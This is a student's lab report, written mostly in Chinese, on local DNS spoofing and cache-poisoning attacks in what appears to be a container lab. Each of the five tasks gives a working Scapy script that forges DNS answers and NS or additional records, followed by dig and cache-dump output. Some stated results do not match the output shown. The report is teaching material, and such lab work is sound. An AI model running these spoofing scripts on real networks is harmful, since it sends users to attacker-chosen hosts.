Lab5 Local DNS Attack　　57118208 吴文婷

实验前测试

```
root@f2f05139fc34:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37292
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e7bcbe7a44dbe68801000000610af7262a199befd88b613f (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 20:23:02 UTC 2021
;; MSG SIZE  rcvd: 90
```

```
root@f2f05139fc34:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44452
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 172808d8ea626c9701000000610af8d5e1424676ffef5f64 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 1256 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 20:30:13 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@f2f05139fc34:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61221
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 35b4c7daed2e93c101000000610af8e92a677532bcf757d2 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed Aug 04 20:30:33 UTC 2021
;; MSG SIZE  rcvd: 88

root@f2f05139fc34:/#
```

Task 1: Directly Spoofing Response to User

1. 编写攻击程序 task1.py，代码如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata=
'1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1, anco
unt=1, an=Anssec) # Create a DNS object
                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.5 and dst port 53" # Set the filter
pkt=sniff(iface='br-4e0ffff99037', filter=myFilter, prn=spoof_dns)
```

2. 攻击前，受害者输入命令 dig www.example.com，结果如下：

```
root@f2f05139fc34:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3754
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e8cf6aae596c6a2c01000000610afcca8ee773d0728c8235 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        85387   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 20:47:06 UTC 2021
```

可见遭受攻击前受害者能够查询到正确的 www.example.com 的 IP 地址。

3. 攻击者运行攻击程序，受害者输入命令 dig www.example.com，结果如下：

```
^Croot@VM:/volumes# task1.py
 10.9.0.5 --> 10.9.0.53: 43213
.
Sent 1 packets.
```

```
root@f2f05139fc34:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43213
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ae374e34dc0c3d6901000000610afcd678d6590b251288eb (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        85375   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 20:47:18 UTC 2021
;; MSG SIZE  rcvd: 88
```

可见受害者获得的 www.example.com 的 IP 地址是攻击者所提供的错误地址，DNS 欺骗 攻

击成功

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

1. 编写攻击程序 task2.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1, ancount=1, an=Anssec) # Create a DNS object
                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-7444c4f37d97', filter=myFilter, prn=spoof_dns)
~
```

2. 在本地 DNS 服务器中使用命令 rndc flush 刷新 DNS 缓存，攻击者运行攻击程序，受害者输入命令 dig www.example.com，结果如下：

```
^Croot@VM:/volumes# task2.py
^Croot@VM:/volumes#
```

```
root@ca1ce2807007:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8985
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 67db30e5e0c9cc6f01000000610b16df8c9442fabd40a3c6 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86219   IN      A       93.184.216.34

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 22:38:23 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 在本地 DNS 服务器使用命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db | grep www.example.com 查看 DNS 缓存，结果如下：

```
root@67929c5c7ad1:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.        690891  A       93.184.216.34
root@67929c5c7ad1:/#
```

不知是何原因，DNS 缓存中毒未攻击成功。

Task 3: Spoofing NS Records

1. 编写攻击程序 task3.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1, ancount=1, an=Anssec,nscount=1, ns=NSsec) #
 Create a DNS object
                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-7444c4f37d97', filter=myFilter, prn=spoof_dns)
```

2. 在本地 DNS 服务器中使用命令 rndc flush 刷新 DNS 缓存，攻击者运行攻击程序，受害者输入命令 dig www.example.com，结果如下：

```
root@ca1ce2807007:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55432
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8bac41cc39255db501000000610b198a36b0c128b017b420 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 200 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 22:49:46 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令 dig mail.example.com，结果如下：

```
root@ca1ce2807007:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29297
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1e0b9d7590ed8f4f01000000610b19d23c1bb9e7c8239d1e (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 16 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 22:50:58 UTC 2021
;; MSG SIZE  rcvd: 89
```

可见得到的 IP 地址均是错误的。

4. 在本地 DNS 服务器使用命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db | grep .example.com 查看 DNS 缓存，结果如下

```
root@67929c5c7ad1:/# cat /var/cache/bind/dump.db | grep .example.com
_.example.com.          863863  A       1.2.3.5
mail.example.com.       863935  A       1.2.3.6
www.example.com.        863863  A       1.2.3.5
root@67929c5c7ad1:/#
```

可见DNS 欺骗攻击成功

Task 4: Spoofing NS Records for Another Domain

1. 编写攻击程序 task4.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *

import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1, ancount=1, an=Anssec,nscount=2, ns=NSsec1/N
Ssec2) # Create a DNS object
                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-7444c4f37d97', filter=myFilter, prn=spoof_dns)
```

2. 在本地 DNS 服务器中使用命令 rndc flush 刷新 DNS 缓存，攻击者运行攻击程序，受害

者输入命令 dig www.example.com，结果如下：

```
^Croot@VM:/volumes# task4.py
 10.9.0.53 --> 192.12.94.30: 33773
.
Sent 1 packets.
 10.9.0.53 --> 10.9.0.153: 31024
.
Sent 1 packets.
```

```
root@ca1ce2807007:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24508
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0ed3330e8afa661801000000610b1b2f8075e957460cba8d (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 236 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 22:56:47 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令 dig www.google.com，结果如下：

```
root@ca1ce2807007:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34246
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5a95050ca0e77cf201000000610b1ba3acb3589bfc8523c0 (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         184     IN      A       199.96.58.157

;; Query time: 764 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 22:58:43 UTC 2021
;; MSG SIZE  rcvd: 87
```

4. 在本地 DNS 服务器使用命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db | grep google.com 查看 DNS 缓存，结果如下：

```
root@67929c5c7ad1:/# cat /var/cache/bind/dump.db | grep .example.com
_.example.com.          863988  A       1.2.3.5
www.example.com.        863988  A       1.2.3.5
root@67929c5c7ad1:/#
```

Task 5: Spoofing Records in the Additional Section

1. 编写攻击程序 task5.py，代码如下

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.example.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,rdata='1.2.3.5') # Create an aswer record
                Addsec1 = DNSRR(rrname='ns.attatcker32.com', type='A', ttl=259200, rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200, rdata='5.6.7.8')
                Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=2, arcount=3, an=
Anssec, ns=NSsec1/NSsec2,  ar=Addsec1/Addsec2/Addsec3)
                spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-7444c4f37d97', filter=myFilter, prn=spoof_dns)
```

2. 在本地 DNS 服务器中使用命令 rndc flush 刷新 DNS 缓存，攻击者运行攻击程序，受害者输入命令 dig www.example.com，结果如下：

```
root@VM:/volumes# task5.py
 10.9.0.53 --> 192.48.79.30: 23894
.
Sent 1 packets.
 10.9.0.53 --> 10.9.0.153: 60888
.
Sent 1 packets.
```

```
root@ca1ce2807007:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19170
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a1058bdf8ddfd54301000000610b1e3b033da68534404615 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 992 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 23:09:47 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令 dig mail.google.com，结果如下：

```
root@ca1ce2807007:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50385
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a77cd603f44318cd01000000610b1e9dcbf1ed33ea1c307f (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         145     IN      A       31.13.85.8

;; Query time: 1228 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 23:11:25 UTC 2021
;; MSG SIZE  rcvd: 87
```

4. 受害者输入命令 dig www.facebook.com，结果如下：

```
root@ca1ce2807007:/# dig www.facebook.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42194
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a4f6ad1af69f1bc001000000610b1ed7cbbc0b4cb896b98e (good)
;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       139     IN      A       199.96.63.177

;; Query time: 76 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Aug 04 23:12:23 UTC 2021
;; MSG SIZE  rcvd: 89
```

5. 在本地 DNS 服务器使用命令 rndc dumpdb -cache 和 cat /var/cache/bind/dump.db | grep .com 查看 DNS 缓存，结果如下:

```
root@67929c5c7ad1:/# cat /var/cache/bind/dump.db | grep .example.com
_.example.com.          863799  A       1.2.3.5
www.example.com.        863799  A       1.2.3.5
root@67929c5c7ad1:/#
```